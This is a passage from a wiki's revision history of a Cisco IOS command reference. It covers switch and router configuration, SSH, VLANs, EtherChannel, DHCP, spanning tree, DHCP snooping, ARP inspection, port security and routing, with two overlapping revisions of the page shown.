=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Generate RSA Keys (1-liner) ===<br />
crypto key generate rsa general-keys modulus 1024<br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using the default administrative distance value.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network and specify the administrative distance.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative-distance (optional)><br />
<br />
<br />
=== Configure a Fully Specified Static Route ===<br />
A fully specified static route includes both the next-hop IP address and the exit interface. This is commonly used on multi-access networks.<br />
<br />
Example:<br />
<br />
ip route 192.168.2.0 255.255.255.0 GigabitEthernet0/0 192.168.1.1<br />
<br />
You can also specify the administrative distance:<br />
<br />
ip route 192.168.2.0 255.255.255.0 GigabitEthernet0/0 192.168.1.1 10<br />
<br />
Format:<br />
<br />
ip route <destination-network> <subnet-mask> <exit-interface> <next-hop-ip> <administrative-distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
Chart pulled from https://en.wikipedia.org/wiki/Administrative_distance#Default_administrative_distances<br />
{| class="wikitable" style="text-align:center"<br />
! Routing protocol !! Administrative distance<br />
|-<br />
| Directly connected interface || 0 (Only the interface itself has an administrative distance of 0, since a route cannot have a distance of less than 1.)<br />
|-<br />
| Static route || 1<br />
|-<br />
| Dynamic Mobile Network Routing (DMNR) || 3<br />
|-<br />
| EIGRP summary route || 5<br />
|-<br />
| External BGP || 20<br />
|-<br />
| EIGRP internal route || 90<br />
|-<br />
| IGRP || 100<br />
|-<br />
| Open Shortest Path First (OSPF) || 110<br />
|-<br />
| Intermediate System to Intermediate System (IS-IS) || 115<br />
|-<br />
| Routing Information Protocol (RIP) || 120<br />
|-<br />
| Exterior Gateway Protocol (EGP) || 140<br />
|-<br />
| On Demand Routing (ODR) || 160<br />
|-<br />
| EIGRP external route || 170<br />
|-<br />
| Internal BGP || 200<br />
|-<br />
| Next Hop Resolution Protocol (NHRP) || 250<br />
|-<br />
| Default static route learned via DHCP || 254<br />
|-<br />
| Unknown and unused || 255 (An administrative distance of 255 causes the router to remove the route from the routing table and not use it.)<br />
|}<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1126
Cisco Commands
2026-02-23T23:07:18Z
<p>50.220.241.211: /* Configure a Static Route */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
